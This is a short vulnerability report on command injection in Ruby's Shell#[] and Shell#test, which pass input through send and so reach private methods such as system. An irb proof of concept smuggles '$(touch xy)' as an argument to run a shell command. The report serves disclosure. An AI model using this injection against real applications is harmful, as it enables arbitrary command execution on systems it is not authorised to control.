Potential command injection in `Shell#[]` and `Shell#test`

As `Shell#test` and `Shell#[]` use `send` when transferring to FileTest, private methods etc. can also be called. Therefore, command injection is possible when a crafted value is passed.

$ irb
irb(main):001:0> `ls xy`
ls: xy: No such file or directory
=> ""

irb(main):002:0> require 'shell'
=> true
irb(main):003:0> sh = Shell.new
=> #<Shell:0x00007fc0c20f2a78>
irb(main):004:0> sh['system', '$(touch xy)']
sh: /private/tmp/: is a directory
=> false

irb(main):005:0> `ls xy`
=> "xy\n"